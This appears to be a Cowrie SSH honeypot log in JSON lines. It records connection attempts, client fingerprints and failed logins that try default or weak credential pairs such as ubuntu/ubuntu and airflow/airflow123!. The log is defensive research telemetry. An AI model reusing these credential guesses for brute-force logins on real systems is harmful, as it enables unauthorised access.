r\\xb4\\x9f\\xbf2\\xb1\\xbf`\\x98\\x8dy\\xcf\\x87\\x8d3\\x8f_\\xb6\\x15\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:05.977891Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:06.084359Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35950,"dst_ip":"10.17.0.5","dst_port":22,"session":"7267358bc7cb","protocol":"ssh","message":"New connection: 2.57.122.208:35950 (10.17.0.5:22) [session: 7267358bc7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:46.031908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:46.069520Z","src_ip":"2.57.122.208","session":"7267358bc7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:46.212742Z","src_ip":"2.57.122.208","session":"7267358bc7cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:46.913477Z","src_ip":"2.57.122.208","session":"7267358bc7cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:48.113426Z","src_ip":"2.57.122.208","session":"7267358bc7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":53484,"dst_ip":"159.203.135.109","dst_port":22,"session":"7669b00ed1a6","protocol":"ssh","message":"New connection: 45.134.9.27:53484 (159.203.135.109:22) [session: 7669b00ed1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:19.253020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:19.257389Z","src_ip":"45.134.9.27","session":"7669b00ed1a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:19.322205Z","src_ip":"45.134.9.27","session":"7669b00ed1a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow123!","message":"login attempt [airflow/airflow123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:19.615665Z","src_ip":"45.134.9.27","session":"7669b00ed1a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:20.682663Z","src_ip":"45.134.9.27","session":"7669b00ed1a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":38712,"dst_ip":"10.17.0.5","dst_port":22,"session":"65955263f310","protocol":"ssh","message":"New connection: 64.176.195.200:38712 (10.17.0.5:22) [session: 65955263f310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:25.030320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:25.034706Z","src_ip":"64.176.195.200","session":"65955263f310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:25.040125Z","src_ip":"64.176.195.200","session":"65955263f310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zcash","password":"zcash1","message":"login attempt [zcash/zcash1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:25.052232Z","src_ip":"64.176.195.200","session":"65955263f310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:26.060395Z","src_ip":"64.176.195.200","session":"65955263f310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":48070,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab2e0328b240","protocol":"ssh","message":"New connection: 34.81.72.185:48070 (159.203.135.109:22) [session: ab2e0328b240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:28.023080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:28.027877Z","src_ip":"34.81.72.185","session":"ab2e0328b240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:28.222491Z","src_ip":"34.81.72.185","session":"ab2e0328b240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhao","password":"12345","message":"login attempt [zhao/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:29.028860Z","src_ip":"34.81.72.185","session":"ab2e0328b240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:30.225294Z","src_ip":"34.81.72.185","session":"ab2e0328b240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":52870,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6ad4f6efcd4","protocol":"ssh","message":"New connection: 152.32.129.186:52870 (10.17.0.5:22) [session: f6ad4f6efcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:35.968823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:35.973034Z","src_ip":"152.32.129.186","session":"f6ad4f6efcd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:36.190190Z","src_ip":"152.32.129.186","session":"f6ad4f6efcd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter@123","message":"login attempt [peter/peter@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:37.094712Z","src_ip":"152.32.129.186","session":"f6ad4f6efcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:38:38.316393Z","src_ip":"152.32.129.186","session":"f6ad4f6efcd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.0.12.92","src_port":59329,"dst_ip":"10.17.0.5","dst_port":22,"session":"c74b72a6aa85","protocol":"ssh","message":"New connection: 139.0.12.92:59329 (10.17.0.5:22) [session: c74b72a6aa85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:33.182708Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:33.444397Z","src_ip":"139.0.12.92","session":"c74b72a6aa85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":44548,"dst_ip":"10.17.0.5","dst_port":22,"session":"959bf7cc5648","protocol":"ssh","message":"New connection: 103.13.206.100:44548 (10.17.0.5:22) [session: 959bf7cc5648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:34.118322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:34.122730Z","src_ip":"103.13.206.100","session":"959bf7cc5648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:34.365181Z","src_ip":"103.13.206.100","session":"959bf7cc5648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"irene","password":"1234","message":"login attempt [irene/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:35.341572Z","src_ip":"103.13.206.100","session":"959bf7cc5648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:36.580926Z","src_ip":"103.13.206.100","session":"959bf7cc5648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":59464,"dst_ip":"10.17.0.5","dst_port":22,"session":"459cf7e50adc","protocol":"ssh","message":"New connection: 5.75.240.121:59464 (10.17.0.5:22) [session: 459cf7e50adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:41.372342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:41.377232Z","src_ip":"5.75.240.121","session":"459cf7e50adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:41.467847Z","src_ip":"5.75.240.121","session":"459cf7e50adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cardano","password":"cardano","message":"login attempt [cardano/cardano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:41.653226Z","src_ip":"5.75.240.121","session":"459cf7e50adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:39:42.745681Z","src_ip":"5.75.240.121","session":"459cf7e50adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58306,"dst_ip":"10.17.0.5","dst_port":22,"session":"adf895c1fbae","protocol":"ssh","message":"New connection: 2.57.122.208:58306 (10.17.0.5:22) [session: adf895c1fbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:10.641853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:10.647490Z","src_ip":"2.57.122.208","session":"adf895c1fbae","protocol":"ssh"}
